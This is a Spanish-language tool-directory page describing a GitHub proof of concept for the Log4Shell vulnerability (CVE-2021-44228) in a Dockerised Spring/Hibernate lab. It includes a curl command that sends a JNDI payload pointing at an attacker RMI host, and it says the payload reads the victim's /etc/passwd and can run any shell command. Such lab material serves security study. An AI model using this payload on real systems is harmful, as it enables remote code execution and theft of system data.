Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2021-44228--spring-hibernate — CVE-2021-44228 POC - Spring / Hibernate | Kitploit
Herramientas/GitHubGitHub/uint0/cve-2021-44228--spring-hibernate
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubuint0/cve-2021-44228--spring-hibernate

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 4 añosAún no revisado

CVE-2021-44228 POC - Spring / Hibernate

Este POC usa Spring / Hibernate, sin embargo un enfoque similar de rmi -> deserialización podría usarse para desencadenar cualquier vulnerabilidad de deserialización

TL;DR

root@kitploit:~
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'

Deberías ver el contenido del /etc/passwd de la víctima aparecer en los registros del contenedor attacker. Puedes reemplazar el comando en el servicio exploit para ejecutar cualquier comando de shell en la víctima.

Víctima

La víctima está ejecutando una aplicación spring starter estándar con las dependencias "Spring Data JPA" (para Hibernate), "Spring Web" y "H2" (como almacén de datos). Solo se han realizado 2 modificaciones sobre esto

  1. Se eliminaron las pruebas
  2. Se reemplazó el logger slf4j por el vulnerable log4j

Todas las dependencias están actualizadas. No hay flags mágicas habilitadas.

La víctima expone un endpoint que acepta POST en / que registrará la petición.

Exploit

El exploit se basa en un fork de ysoserial que utiliza el generador de exploits Hibernate. Para que el exploit funcione con la última versión de Hibernate, necesitaremos recompilar ysoserial.

Descargar herramienta